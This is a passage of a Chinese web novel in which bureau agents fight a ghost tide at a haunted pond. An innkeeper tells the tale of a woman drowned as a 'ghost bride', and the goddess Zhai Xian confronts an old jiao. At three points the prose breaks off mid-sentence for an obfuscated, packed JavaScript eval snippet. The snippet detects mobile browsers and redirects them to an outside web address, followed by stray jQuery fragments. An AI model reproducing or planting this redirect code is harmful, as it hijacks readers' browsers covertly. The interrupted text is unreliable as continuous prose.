真是见了鬼了,令狐双暗骂一句。原本平静无比的原野上忽然起了一阵妖风,一时间飞沙走石,眼睛根本睁不开。这边祝好还没来得及说话,就被大风掀了个跟头,摔了个趔趄,要不是翟闲扶她一把,她就要甩池塘里头去了。 “别收拾了,戒备!!!”她高声道。 祝好连拉着翟闲和猫一路小跑到了邬稞后面,一路上都尽力不去看那些张牙舞爪面目狰狞的鬼怪。果然,一到了邬稞身边,那些鬼怪就都不敢靠近,只是隔着一段距离蠢蠢欲动。 察觉到陌生的气息,怀里的猫不满地喵喵咪咪了一阵,翟闲挠了挠他的下巴,对邬稞笑了笑。 “那边有双姐和苏况,我来守着你们两个。”邬稞言简意赅。 “别怕。”她看了一眼翟闲,有点生硬地安慰道。 “怕什么,这不是有你们吗。”翟闲撸着猫笑了笑。 “我也可以过去帮忙的。”翟闲就在身边,祝好莫名多了一些底气,提出要去帮忙。 “就在这待着。”邬稞不知道从哪里抽出来一对匕首,靠在一边的一株柳树上,目光盯着不远处的令狐双和苏况二人。 这是一处挺大的湖面,水有些浑浊,看上去并不深,周遭的泥土湿润,遍生植被,郁郁葱葱。 云层散开,月光大盛,就连周遭的树影也如同鬼影婆娑,只见这湖里的泥和水都好像翻涌起来一番,有无数双被泡得肿胀的青白的手扣着湿润的黑泥,地下好像有波涛翻滚,那些青白的断肢不断从泥水中往岸上攀爬。 子时末了,那些模糊的鬼影一点一点清晰,一点一点展露在了众人面前,祝好倒吸了一口凉气,这是她第一次看见数量如此之众的鬼魂。 是鬼潮。 这么强烈的鬼潮为什么方才一点动静都没有?这些鬼就像是被桎梏了许久终于被放出来了一般,红了眼要攀咬一切可以够得到活物。 风沙未止,祝好一睁眼就看见一片片、一拨拨、一群群恶鬼狰狞着面目向她们的方向而来。她一颤,整个人往撞进了翟闲的怀里,翟九来不及躲开,在两个人中间被挤成了猫饼。 邬稞背对着二人挡在前头,她手上的两柄匕首有点意思,并不是有金属光泽的钢制,而是在月光下散发出一阵森冷的白色,这是骨制的,看着长度大小,像是成年女人的胫骨。 然而在解决那些恶鬼时她却是收了力的,只是将他们扫开,下手不至于让他们魂飞魄散——即使这样做对于她而言简直是易如反掌。 【她为什么不直接杀?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765994|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翟九传音给翟闲问道。 【对付人,对付妖,对付鬼,打法都不一样。】翟闲悠悠道,【对付人或妖,打死打伤都无所谓,最后再不济变成死物。但是对付死物,比如说鬼,你可以将其降服,或者中伤于其,但是对方一旦彻底消散,那么这只鬼身上所承载的因果都会转嫁到将他打散的那个人身上。】 【无知无识的鬼是很顽强的,一般人也不能轻易打散,虽然她是大鬼,有这个能力。但是……你有没有发现,她只是阻止这些鬼魂过来,都没下重手。】 【为什么?】 翟闲往他们来时看见的那个小土包的方向望了一眼,道:【因为这里有和她有关的因果,她不敢,或者说不能亲自动手。】 翟闲挠了挠猫下巴。 【什么意思?】猫一口咬住了翟闲在他下巴上作乱的手指。 【嘶……小没良心的,怎么感觉你最近有点怪暴躁的?】翟闲等他心满意足地吃上了自助之后,才伸出两指捏住了他的嘴。 翟猫猫最近有点上火,估计是补得有点过。 【春天到了,你发|情了?】翟闲挑眉。 “啪——”翟闲吃了一记猫的直拳,【少拿我和那些普通猫作比较。】 眼看着猫要炸毛,撅着屁股不搭理人,翟闲这才慢悠悠解释道: 【这里的鬼里面,应该有的和她生前认识,可能还是她变成鬼之后亲手弄死的。要是这样的话,那么这些人就是在命簿上没记录的非常死亡,鬼差不会来勾魂,所以他们就变成了孤魂野鬼。这属于无因有果。】 【无因有果?】 【对,你看她,这不像是背了因果的样子,虽然不知道她是怎么做到的,但那些人命没有记在头上。】 【所以要是她在这里动了手,那么那些她逃掉的因果可能就重新记在她头上了?】 * “双姐!鬼太多了,网不下啊!”耳畔传来苏况声音,他手上拉着一张散发着淡淡的金光的细网,然而随着时间的推移,这网明显有了要破裂的迹象。 “把他们往中间赶!” 令狐双呵道,红色的法印在她的眉心隐隐出现,她手中凭空化出一柄血红的刃来,一道劈在了地上,一时间红色的诡异的火焰顺着被她劈开的地缝烧到了池塘中,被网网住的鬼影发出歇斯底里的呻吟,越缩越小,直到被苏况赶进网中。 令狐双道:“网不住的直接打散,算我的。” 闻言苏况一怔,按照守则在出外勤的时候碰到妖物鬼怪之类,一般是要全然收复带回局里,交给后勤。 该驯服的驯服,该送去吃国家饭的去吃国家饭,该度化的度化,该送去投胎的送去投胎,除非万不得已很少会有下达直接泯灭的指令。 要是实在万不得已打算的鬼魂之类,因果记在了他们头上,是要专门打报告到“上面”或者“下面”销除的,特别麻烦。 令狐双向来怕麻烦的一个人,怎么乐意打那个报告? 不管了,组长这么做一定有她的道理。 苏况伸手将后腰别着的枪取下,上膛扫射。 异管局这些年也是跟紧了时代的潮流,设备也总算是推陈出新了一波,虽然像令狐双这样活的比较久的妖物还是用惯自己的本命武器,但是新一代进来的年轻人在员工培训之后都能真枪实弹上阵干了。 并不是很高级的鬼怪,但是就麻烦在这些小鬼和蟑螂一样,数量之多让人头皮发麻,不过也还好这些都是品阶不怎么高的小鬼,这要是大鬼的鬼潮,就他们几个那可就真完蛋了。 “双姐,这样下去也不是办法啊!!!”苏况面露肃色,这些小鬼不知道什么地方冒出来,源源不断。 “让邬稞来呢??对付鬼潮就是要一只大鬼来引导一下,要不就是来个极阴的靶子,让这些鬼都聚集在一起啊,要不然这么一个一个砍得砍到什么时候?” “她不能来啊……”令狐双头大如斗。 “什么?”风声和鬼哭的声音都太大了,祝好隐隐只听到一声什么鬼啊、极阴体啊的,鬼越来越多,有不少绕到了她和翟闲后方想要偷袭,找提着刃上淬了令狐双血的桃木剑一剑劈一个。 剑身穿过鬼魂的身体,传来清晰的灼烧声和尖锐的哭嚎声,这声音听得人头皮发麻,又是听得祝好一哆嗦,一边挥剑一边一把鼻涕一把泪。 邬稞深吸了一口气,抬脚要往鬼潮的中心走,令狐双就和后脑勺上长了眼睛似的,面上厉色,呵斥道:“给我回去!!!” 就在这时,一个人影滚入万鬼潮中,令狐双定睛一看,手上的剑都一哆嗦。 那是祝好。 “上通混沌,下听幽冥,斫扶桑以借道,入酆都而鬼神不近吾身。” 在没人看见的地方,翟闲低声念咒,凭空画符,三指一弹,将一道符箓拍到了祝好的背上,一脚把她踹进了万鬼潮中。 11. 池塘异闻 谁来告诉她一下这是怎么回事? 令狐双的目光看向了祝好方才站着的地方,那个叫翟闲的女人垂着头,抱着猫靠在柳树下,看不清神色。 她眸中神色一暗,这人水有点深,那样万鬼来潮的的场面既没有哭天喊地,也没有哭爹喊娘,此子绝非善类。 当即也管不了这么多,先把祝好捞过来要紧,她体质阴,在外围看着倒是无所谓,现在到了鬼潮中间,不就和耗子进了猫窝一般吗? 等等,那些鬼都往祝好的方向扑过去了不错,但是为什么都在距离她半丈远的地方,近不了她的身? 她倒是知道她身上有一道厉害的护身符,这段时间和祝好待在一起,身边蹦跶的污秽之物都少了很多,别说是污秽,就连邬稞这样的大鬼都难以长时间近他的身,难道是那道护身符起了作用? 眼下所有的鬼、怪就和被蛊惑了一般,疯也似地往她身上扑,令狐双忽然福至心灵,将手中的剑一扬,顿时一阵烧得有几丈高的烈焰从她书中倾泻而下,卷起一道漩涡,以迅雷不及掩耳之势将聚在一起的鬼潮点燃。 漩涡的最中间,一道烈焰的屏障将祝好阻隔开来,翟闲忍不住触摸了一下,并不滚烫,而是像暖玉一样温润。 等到四周只剩下无尽的黑色灰烬,那一道火就像是有生命一般从祝好的身边“嗖”一下绕回了令狐双的指尖。适时苏况将网一网,将众鬼一网打尽。 “吓坏了吧?”令狐双伸手还坐在地上的祝好拉了起来。 “还、还好。”祝好的眼睛里是可以看见的一颗一颗小星星,每一颗都是对令狐双的崇拜。 “刚刚怎么回事?” “有点、有点没站稳。”祝好挠头傻笑,她太怕了当时,脑子都是混沌的,只当是看那些鬼魂的时候没站稳摔了下来,仍是满眼小星星盯着令狐双看。 她的眼神太过于炽热,令狐双颇为受用,一甩栗色的大波浪,露出个风情万种的笑容来,红色的张扬上挑的眼线似乎都在发光,要是现在尾巴露出来,肯定摇上了天。 “这就完了吗?”苏况左右看了看,有些不确定。 当然没完,这稀里哗啦的一阵烧,竟然连一只高级一点的东西都没有,那么这次的评级又为什么会是乙字中呢?况且这鬼潮的源头有在何处?那不成这这么大点地方真能装的下那么多鬼不成? 令狐双这会儿背对着那片池塘,不动声色往后看了一眼,将收紧的捕网收好,只道让众人先行回去。 * 翟闲说这个点回去应该能赶上老板的宵夜,令狐双和她并排走,一路上时不时试探着她两句,但她的回答都滴水不漏,实在让人找不到什么错处。 或者只是个胆子比较大的正常人呢? 这家客栈的老板是个神神叨叨的夜猫子,几人回去一看,果然见露天的小院子里亮着灯,一个三十多岁的女人端着一碗面蹲在花坛的石阶上追剧,一头长发用一根发圈随手扎在头上,毛毛躁躁的样子像个稻草堆。 “小翟妹妹回来啦?哦呦,今天怎么这么早?钓到鱼了吗?”老板乐呵呵道。 哪壶不开提哪壶的还不止一个。 “怎么,等着我的鱼烧呢?”翟闲往小厨房看了一眼,锅里还冒着热气,果然给她留了。 “还烧,你就钓吧,要是有人能在那个湖里钓上鱼也是奇了怪了。”邬老板笑了起来,“欸,你们是一起回来的吗?我就知道你们待会肯定要回来,做多点准没错,一起吃一口?” 她的招呼实在是热情,几人也不扭捏,排排站等着翟闲给他们拿碗。 “嗯!!!好香!!!”苏况正是饿得前胸贴后背,一口下去眼前一亮,抱着碗吃得哼哧不带喘,一边吃一边还不忘问,“欸,老板,你刚刚为什么说在那里钓不到鱼?” 令狐双不动神色踹了苏况一脚,只可惜后者没get到她的意思。 “你们但凡是换个地方都能钓得到鱼,那个地方不行,你们用来打窝的饵料不行,那里的鱼不吃。”邬老板神神秘秘道。 翟闲笑问:“怎么,还有什么说法?” 猫埋着头哼哧哼哧闷头吃饭,听到翟闲说话之后顿时来了精神,耳朵都竖了起来。 “那里的鱼只吃人|肉。”老板压低了声音,神神秘秘道,她的声音故意压得瘆瘆的,听得祝好一口面条子到嘴巴里连嚼都忘了就这么直愣愣吞了下去,烫得一哆嗦。 “吃……吃人?” “这事可要从民国那会儿说起。” 邬稞筷子戳着碗里面的动作顿住,抬头看了老板那老板一眼。 “您贵姓?” “免贵姓邬。” 苏况道:“这个姓还挺少见的,你是哪个邬?乌耳邬吗?” “啊,对,这这个。” 苏况笑:“她也姓邬,说不准你们百年前还是一家呢。” 一说到这个,邬老板来劲了,也不蹲着了,站了起来,腿麻得龇牙咧嘴还要一手叉腰,一只脚踩在花坛石上,气势很足道:“那还真说不准呢,民国那会儿邬姓在我们这可是大姓,这一片都是姓邬的,只不过后头都散了。” 苏况好听故事:“怎么就都散了,能说来听听吗,我就乐意听这些神神道道的。” 猫舔干净猫碗里最后一口面条子,传音问翟闲道:【你猜是怎么散的?】 【人死光了自然不就散了吗。】翟闲蹲在花坛石上捧着面碗,悠哉悠哉。 【你怎么就肯定是人都死了?】 【爱信不信。】 【打不打赌?】 【赌个屁,无聊。】 翟闲捧着碗喝了一口热乎乎的面汤,夜里还是有些湿凉,一口汤下肚,浑身舒畅。 本来一开始为了防止灵府里的翟玖融合她的记忆、或是不经过她的同意就私自跑出来,翟闲封了自己的五感之一,当时封的是味觉,但是住到这边民宿之后,翟闲偶然间发现,这邬老板做饭太香了。 所以一到饭点,翟闲逮着老板蹭饭的时候就会短暂解开一会儿,吃完再封上。 这样解开又封上、封上又解开纵然麻烦,但是翟闲这么长时间来好不容易产生一点满足一下口腹之欲的心思,偶尔满足一下自己又怎么了呢? 只要别忘了封上总归是无伤大雅的。 食色性也嘛,这汤怎么吊的?回头让祝好学学。说到祝好…… “手机借我用用。” “啊,好好好。”祝好正听故事听得入神,解了锁就把手机给了翟闲。后者打开前置相机拨弄了下刘海,在还回去的时候,指尖勾出来卡在手机壳缝隙里的几根猫毛,一时间就如同有一道无形的屏障被开启,将那些仍在暗处那些对祝好虎视眈眈的脏东西弹出去好远。 祝好只感觉浑身上下一下子轻松了许多,不明所以地左右张望。 “听我太姥姥说……”邬老板将碗一放,开始讲故事,“我们这边十里八乡都姓邬,民国那会儿吧,闹灾荒,穷,穷得叮当响,孩子生下来养不活,地主家还好,穷人家的女孩子基本上是一生下来就扔到山上去自生自灭了,喏,还有个弃婴塔,据说好几百年了,就在那边山上,还没倒呢,从这就能看到。” 苏况惊讶,他倒是在书上看过有些地方有弃养或是杀害女婴的陋习,却没想到自己还真能碰上。 忽然发现那些记录在资料上、白纸黑字的东西忽然离自己这么近,近乎冷漠残酷的知识的鲜活的□□生命撞了个满怀,就像是忽然吹到了一股从地府刮上来的阴风,吹得让人一哆嗦。 她眯了眯眼睛,“这扔的孩子多了,那山上就邪乎得发慌,总是闹鬼,青天白日的走那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765995|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边上过路都能听见小孩子的哭声。这还不是最要紧的,最要紧的事,那一整个村子到后面都生不出男孩子了。村子里的人都怕了,就合计着请了个道士过来,镇一镇……” “这不是自作孽吗……”苏况眼睛瞪老大,牙都呲了起来,听得眉头紧锁。 翟闲挑眉。 那是弃婴塔……看上去阴气已经微薄得不能再微薄了,若是这故事是真的,那里头因该是怨气冲天才对,还是那里面的东西已经…… “后、后来呢?”祝好追问。 “后来道士就来了啊。”邬老板道,“那个道士也是个黑心眼玩意儿,你们猜猜他出了个什么法子?” “什么法子?”苏况追问。 “我吃完了,先回去休息了。”邬稞好像兴致缺缺的样子,脸上的神色淡淡的,起身要走,衣角却一紧,被什么拉住了,她一看,祝好听得入神,又怕又想听,一手揪着翟闲的衣角,一手攥着她的衣带,把自己缩成一个球蹲在花坛石上。 邬稞抿了抿唇,叹了口气又坐了回去。 “那道士不得了了,说要想破解生不出男孩的诅咒,就要吧村子里面最大的、还没说亲的姑娘拿去给龙神配阴婚,什么龙神?就是你们钓鱼的那个池塘,民国那会儿还没干,面积是现在四五个那么大,那死道士说里面有个什么破龙神,说什么把龙神伺候好了就能生儿子。” “神经病吧?”祝好骂道,一脸不可置信,“然后呢?真配阴婚了?” 邬老板耸了耸肩:“那有什么办法?最大的姑娘是地主家的闺女,据说还上了城里的新式学堂,学德先生和赛先生,出这事那会儿在外面留学。” “还好还好,在外面回不来。”祝好提起来的一颗心放了下来,还没等她喘口气,就听见邬老板道: “好什么好?那地主家生了七八个闺女了,有好几房小老婆也都生不出儿子,结果扯了个谎把那个大闺女从国外骗了回来,一回来就捉她去配了阴婚。” 令狐双不动神色看了邬稞一眼,后者只是一直盯着自己的脚尖,搭在石阶上的指节一扣一扣的,好像事不关己的样子。 然而周身气场的轻微波动还是暴露了她内心并非毫无波澜的事实。 “说是配冥婚就是捉她去淹死。” “她跑了吗?” “跑得掉吗?被打断腿,绳子一捆轿子里一塞,穿着嫁衣扔进塘里淹死了。” 小院里安静了下来,祝好和苏况两个听得动情,的胸脯被气的上下起伏,为之伤神却又无可奈何。 “哎哎哎,还没讲完呢,后面还有一截儿。”邬老板见祝好的眼眶红红的,连忙道,“后面还有一截儿,据说那个姑娘怨气太重变成厉鬼,一口气把全村捉她去配阴婚的老的少的连同那个死道士全扔水里去陪龙神了。” “这就没了?”祝好红着眼睛盯着老板,显然是对这个结局不满意。 太草率了,这、这怎么解气呢? “没了吧?这件事情还挺吓人的,再加上打仗,从那之后我们这能跑的都跑了,村子就荒了下来,塘就渐渐干了,钓不到鱼说是因为那里的鱼吃惯了人|肉,不吃一般的饵料。” 人|肉两个字从邬老板嘴巴里说,故意压低了声音,听起来莫名瘆人,苏况起了一身鸡皮疙瘩,感觉后背一凉,双臂报紧了自己。 “你这故事保真吗?”翟闲杵着脸问,另一只手并起两指在翟猫猫头上敲了个脑瓜崩。 “半真半假吧,我怎么知道,我太姥姥跟我说的,她怎么说我就怎么听呗。”邬老板伸了个懒腰,“说起来,那被淹死的可怜姑娘还是我的不知道太太姨姥姥还是太姨姥姥,我逢年过节的还去那水塘边上给她烧点纸钱点两柱香呢。” “那香是给……你太姨姥点的?”邬稞的眼神看上去有些错愕和古怪。 12. 猫失踪了 “那要不然呢,还能给谁点?”邬老板看上去一脸理所当然。 “我太姥说要是没她,自己早被盲婚哑嫁出去了。她上了新式学堂还又出去留学过,要是没被配阴婚……啧啧,在那个时代,说不准是什么风流人物呢……哎呦喂,那现在我不也是什么名门之后……” 她看上去美滋滋的,将散落下来的刘海将后一捋,嘴里哼着歌,调子歪七扭八,没有多想,不知道又从哪里摸出一把瓜子来磕,有一搭没一搭继续扯些闲天儿,夜深了,她也终于有了点睡意,收拾了碗筷打着哈气要回去睡觉。 “你姓邬,可你不是说……那个村子已经没人了吗?” “男人都扔塘里去喂鱼了,不还有女人吗?怎么,姓邬女人也不活了?”邬老板斜了她一眼。 “那为什么还要姓邬呢?” 这个姓氏不好,害死了很多人,那些刚出生的女孩子,她母亲,宅门里的女人,她的姊妹,还有……她。 “不姓邬那姓什么?”邬老板笑了起来,“多少年前的故事了,半真半假就当听个乐子,这么多年过去了,死了的人早不算数了,活着的人才作数,我太太姥姥、太姥姥,姥姥,我老妈都姓这个,我当然也姓这个。” 邬稞愣住了,没说话,在院子里头坐了一夜,等天明的时候才想起来回房,推开房门才发现,房间里不止祝好,还有令狐双。 祝好在窝在床角裹着被子把自己包成一个包子,今天晚上发生的还是太多了,她需要时间消化,窝着窝着就睡着了。令狐双坐在沙发上不知道忙些什么,看到她进来,抬头看了她一眼。 “在这做什么呢?”邬稞问。 “出去说。”她看了一眼熟睡的祝好,将电脑一合上,把邬稞拉到了门口,等关紧上门,便听见她地上道。 “我刚刚看过今天捉住的那些鬼了,大部分不是和你当年的事情有关,气味也不像是人界的气味。” 邬稞皱眉:“不像是人界的气味?什么意思?” 令狐双道:“我很多年前去过一趟酆都,那些鬼身上的味道,和酆都、冥河很像。” 酆都者,幽冥也,传说中的鬼城。 冥河绕城翻千尺血浪,判官执笔听万鬼号哭。一入酆都,万鬼缠身,因果累世,报应不爽,生死簿,孽镜台,业称一杆,断忠良孝悌,辨奸佞忤逆。非刎颈,不得出。 “你是说那些东西是从酆都跑出来的?”邬稞皱眉,面上的表情有些凝重。 “不错,这次任务的评级是乙字中,一般乙字评级都是像是你和我一样的大鬼或者大妖,拼尽全力,是有短暂撕裂两界之间的结界的可能的。” “什么意思?” 令狐双红色的眼线微微往上调:“按照局里的处理惯例,这些从酆都跑出来的鬼往往会遣送回原处,酆都那里……这几百年都乱得厉害,这遣送出来的鬼多了还是少了,未必能发现。” 邬稞的瞳孔微微张大。 令狐双拍了拍她的肩膀,给了她一个意味深长的眼神,道:“看你精神不大好,回来了就早点休息。” * 在座一溜四个……姑且可以成为人的人,谁都没有有想到,夜黑风高黑灯瞎火的,在这刚刚闹过鬼的破塘子边上还能碰到翟闲。 碰见她的时候,邬稞刚把那座小土包上的杂草拔干净。祝好看见那土包像是一座野坟,料想是昨天故事中的主人公的,一本正经拜了拜,说些什么逝者安息云云。 苏况见她这么拜,颇为赞同地点了点头,一副英雄所见略同的样子,也“扑通”一下往小土包前面一跪。 “邬家太太太不知道多少个太姨姥姥在上,您放心,现在是新中国,不会再有那些什么陋习玩意儿,您老人家,一路走好哦!安息吧!!!”他说完,结结实实磕了一个。 令狐双:…… 邬稞:…… 说完,他张望了一下,见邬稞和令狐双还直挺挺站在那里,面色奇怪:“你们不拜一拜吗?” 拜……那还是算了吧,当着本人的面上坟有点怪尴尬的。令狐双手动将控住不住往上抽搐的嘴角往下撇了下来,把邬稞一个人留在了原地,背过身去肩膀一抖一抖的。 就在祝好一本正经拜完,抬头一看,就见池塘边上有个打着手电,看身形是个高挑的女子,站在岸边,左顾右盼像是在找什么。 “闲姐?你怎么又在这?”手点的光闪过她的脸,祝好发出一阵惊呼。 “啊,好巧,你们也在这,可以帮个忙吗?我的猫找不着了。”翟闲见到他们,眼前一亮,连忙招手,看上去有些焦灼。邬稞冲令狐双抬了抬下巴,后者点了点头,知会过之后,邬稞的身影就像是墨一般融入了黑夜之中。 听她这么一说,三人才发现,那只一直紧紧跟在她身边的异瞳白猫不见了。 “什么?翟九不见了?”祝好也急了,而令狐双却微微侧目。 “这猫叫翟九?” “嗯,对。”翟闲看向她,“怎么了吗?” “没什么,就是感觉有点耳熟。”令狐双捏了捏耳朵,摆了摆手,只道让苏况几个帮忙找找。 “昨天才闹过鬼的,你也看见了,自己一个人来不怕吗?”令狐双问翟闲道。 “你们昨天不是已经都解决了吗?”翟闲笑答,“真是麻烦令狐组长了,对了,那边还没找,我去那边看看。” 她随手指了个地方,向令狐双点了点头之后便过去,等到走远了才在向翟九传音道:【你在哪儿呢?】 杳无音信,没有回音。 翟闲的眉头皱了起来,将感知扩大范围,想要感应一番他在哪里,却不知道为什么,像是忽然被切断了一半。翟闲动作一顿,往后看了一眼,确定身后没有其他人之后,声音有些冷道: “翟玖。” 偏这个时候,翟玖醒了。 “猫呢?” “什么猫?”翟玖揣着明白装糊涂。 “我的猫。” “猫叫什么?说出来我替你找找。” 翟闲:…… 这个名字当着正主的面不怎么好说怎么回事?翟闲第一次知道什么叫搬起石头砸自己的脚。 “猫就是猫。”翟闲刚说完,就听见翟玖幽幽道:“别以为我不知道你给那只猫也取名叫翟玖。” “你很喜欢给别的什么东西起名字吗?”他问,从后面靠近她。翟闲能很明显感觉到一股森冷的气息靠了过来,腰上一紧,是翟玖缠上来的尾巴,墨色的鳞片在并不明亮的月光下很有质感。 “只给你起过名字。” “真的?”腰上的尾巴力道又收紧了一点。 当然是真的。 玖这个名字还真是翟闲起的。女娲给她择了字做名字,问翟玖要不要,他说要翟闲给她起名字,最后翟闲见“九”是纯阳之数,那时混沌中刚诞生阴阳的感念,阳的部分他占得多些,翟闲就称呼他为玖。 “真的,那猫就占了你点便宜。”翟闲侧过脸,在他脸上吻了一下。 这倒弄得翟玖有点不好意思了,刚刚才卷在翟闲手腕上的尾巴尖立刻和触电了似的收了回去。即使他只是神魂的状态,翟闲也能想象出他耳朵通红却仍装作若无其事的样子。 还是失忆的翟玖好玩,又单纯又好逗,你说什么他信什么,多可爱啊。一想到他后期那个混不吝、不要脸、脾气和粪坑里的石头一样又硬又臭的样子,翟闲就额角突突地跳。 “好了,我的猫呢?” “你之前还对我那么冷漠,主动吻我,就是为了问那只猫?” 翟闲:? 翟闲收回她说的话,可爱个屁。 “你不许想他,今晚你是我的。”他的手从后面扼上了翟闲的脖颈,化出实体的手指在她跳动的颈动脉上轻轻摩挲,下一刻,那一处地方穿来一点点湿热的感觉,翟玖张嘴咬了一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765996|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 行吧,一个两个都逮着她下嘴。 他咬完之后便和翟闲拉开了一点距离,还在闹几千年前的那个别扭。 “行,是你的行了吧?”翟闲纵容着他的动作,在想怎么把他塞回灵府中去。 算了,逸散千年好不容易聚起来,孩子乐意出来玩会儿就玩会儿吧。生活不易,翟闲叹气。 “这里的阴气怎么这么重。”翟玖眉头皱了皱,“这是……这是忘川的气息?” “是啊,这是忘川的气息。”翟闲伸手戳着他的额头让两人之间的距离分开一点,“这水底下被人划开了一道裂缝,和冥界的河流连接上了,忘川是冥界的母亲河,这里自然会有忘川的气息。” 被困在这片水域的土著鬼魂数目不多,在百人之内,不成气候,且有水塘边那只大鬼——邬稞,有她的残尸震着,按理来说是翻不起什么浪花。 但这前提是这段时间这片水域里头没有多些什么东西,比如说一只死水里养出来,化龙失败的蛟。 昨天晚上那么破天的鬼潮,就是他用蛟角划开了一道沟通水底和冥界的缝隙,为的就是借鬼潮干扰视线。 酆都那边发现少了这么多鬼肯定要追查的,这完蛋蛟躲不了多久了。 “要我请你出来还是自己出来?”翟闲把手电熄了,在岸边挑了个地方坐下,翟玖坐在她的身边,分明满心满眼都是想要拥抱和亲吻,偏偏又只捏住她的一下片衣角,脸上淡然无比。 然而他身上缠绕的那些纠葛不清、拼命想要往翟闲腰上、身上绕的红线暴露了他的心思。还有那条尾巴,圈着翟闲不舍得放松一点。 “谁得罪你了?”翟玖问。 “一个老朋友,嗯……你应该是记得的吧?托他看护些东西,结果他把东西弄丢后跑路了,来找他算个账。”翟闲拔了跟草叶叼在了嘴里。 翟玖凑了过去,咬住了那节草叶的后半截,两唇将触未触,一触即分,将那一篾儿草从她唇齿间抢了过去。 做完这一切,翟玖才后知后觉自己这个行为太亲密了,抿了抿唇往后坐了一点。 翟闲无可奈何笑了笑,扶了扶额角。 他刚刚那个动作太过流畅自然,太过理所当然,以至于不知道是出于习惯还是爱恋,或许千年前的翟闲能够无所顾忌地接受这些依恋和爱。 但是千年之后,在翟闲在人界摸爬滚打经历了无数个普通的人的一生后,在两个人之间隔了千年那样久的、那样不可逾越的一道桥之后—— 不谈之后他和她闹得那样狼狈难看,就当下而言,她有点不想要翟玖只是无知无觉的和她浑然一体,爱欲纠缠。 如果可以,她有点不想要翟玖只是作为混沌造物本性使然的亲近同类。 “是很重要的东西吗?”翟玖问。 “很重要。”翟闲笑。 她身边没有朱砂和符纸,故而拔了一片草叶,顿了几秒,想着反正昨天也没有用符悯的黄纸和朱砂,气息已经逸散,干脆不多想,两指头轻轻一掸,那片草叶便如同离弦之箭般地没入水中,在水中又化作千万只箭矢,万箭齐发,在水底掀起无数暗潮,掠起波澜万千。 岸边,聚在一块既没找到猫也没找到能量波动的四人被惊动,四下望过去,却惊诧发现就连翟闲也不见了。 “翟暇时我口口口的,我是真不知道啊!我就偷闲眯了一会儿的事,这这这你给翟玖立的冢它是自己裂开的,那些东西是自己凭空不见的,这和我没有关系,这真不关我的事啊……” 未见其人先闻其声,骂骂咧咧的语气和记忆中倒是没有变化,只是…… 翟暇时……翟闲好好多年没听到过这个名字了。 一条险些被射成筛子的黑蛟哭爹喊娘,嚎得昏天黑地从水底蹿出来,要死不活地往岸边的柳树上一挂。 “你给我立了冢?”翟玖惊诧,手腕上的红线勾上了翟闲的指尖和手腕,“你给我立冢做什么?” 13. 旧友往事 “一个幌子罢了,就是一些旧物,时过境迁不好携带,就留在巫山了。”翟闲揉了揉额角。 “巫山?”翟玖有点印象了,说起来这座山的由来还和翟闲有关,那是她还不叫翟闲,而是生于混沌、长于雪山、宝顶之上的先神暇时。 那段在雪山神殿时的岁月已经模糊不清了,依稀记得先神暇时还没将化出双腿的术法掌握熟练,在昆仑山的瑶台边打盹,翻身时尾巴不慎将先神玖莳花用的一抔细土扫落凡间。 无意之举,勾出一串因果。 那抔细土落入凡间,积土成山,名巫山。 本来也没什么大事,昆仑是仙山,灵气馥郁,从昆仑上头坠下的泥土也是沾染了仙山的道韵,灵气要比下界的土木、比那一处水源丰盛许多。滋养万物,岂不美哉? 然而这抔土坠落到下界堆积成山之后,阻断了一道水源。水源下游有一片水域,是一条开了灵智且颇有些道行的黑蛟的洞府。 巫山从天而降,阻断了这片水域的源头,这下好了,这片水域变成了死水,依托这片水域修行的蛟自然就没有的灵气的来源,修行滞涩,据说本来修出人型是临门一脚的事情,这下让人……啊不,让蛟卡门槛上了。 还是卡的裆——这蛟就下半身化出人型了。 天尊啊,要是没有巫山这劳子事情,百年之后这片水源也总会干涸的,那条小蛟有没有仙缘还未必。到底是这蛟好高骛远,基底还没有夯实就强行化形,这下好了。 但凡他是先化出上半身——也不至于光着身子到巫山顶上讨说法的时候,那么不体面。 不体面,真的是太不体面了。 原本先神暇时是不想搭理这件事情的,然而无奈这蛟一口就咬死是巫山断送了他的化龙的可能。 这黑蛟有些无赖,还有一桩锲而不舍的坏处,他一连好几个月就窝在这巫山顶上不走了,一天天的两眼一睁就是骂街,骂累了歇,歇好了继续骂,硬是一个字都不带重复地一口气从三伏酷暑骂到了三九祁寒。 牛而逼之。 “他咒骂的那些话倒是新鲜。” 昆仑雪顶常年不见生灵的迹象,两位先神在此处修行难免不会觉得孤寂,没有见过这样生动鲜活的小妖,先神暇时觉得有意思,便想着下去瞧瞧。 既然先神暇时去了,那先神玖岂有不同行的道理? 